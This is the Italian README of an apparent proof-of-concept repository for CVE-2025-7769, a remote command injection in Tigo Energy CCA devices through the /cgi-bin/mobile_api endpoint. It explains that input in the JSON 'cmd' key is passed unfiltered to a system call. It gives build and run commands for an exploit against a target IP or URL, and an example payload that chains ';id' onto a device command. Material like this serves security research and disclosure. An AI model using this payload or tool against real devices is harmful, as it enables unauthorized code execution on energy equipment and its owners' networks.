CVE-2025-7769 – Iniezione di comandi remoti in mobile_api

Descrizione :

Questo repository contiene un Proof‑of‑Concept (PoC) per CVE‑2025‑7769, una vulnerabilità critica di iniezione di comandi remota trovata nei dispositivi Tigo Energy CCA che espongono l'endpoint /cgi-bin/mobile_api.

La vulnerabilità viene attivata iniettando comandi del sistema operativo tramite la chiave JSON cmd, dove l'input non filtrato viene concatenato direttamente in una chiamata di sistema, consentendo l'esecuzione remota completa di codice (RCE) sul dispositivo.

Riferimenti :

• Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

Utilizzo :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Sostituisci 10.0.2.15 con l'IP del target.

Usa -u http://target.com se vuoi passare un URL base completo invece di IP/porta.

Esempio di Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}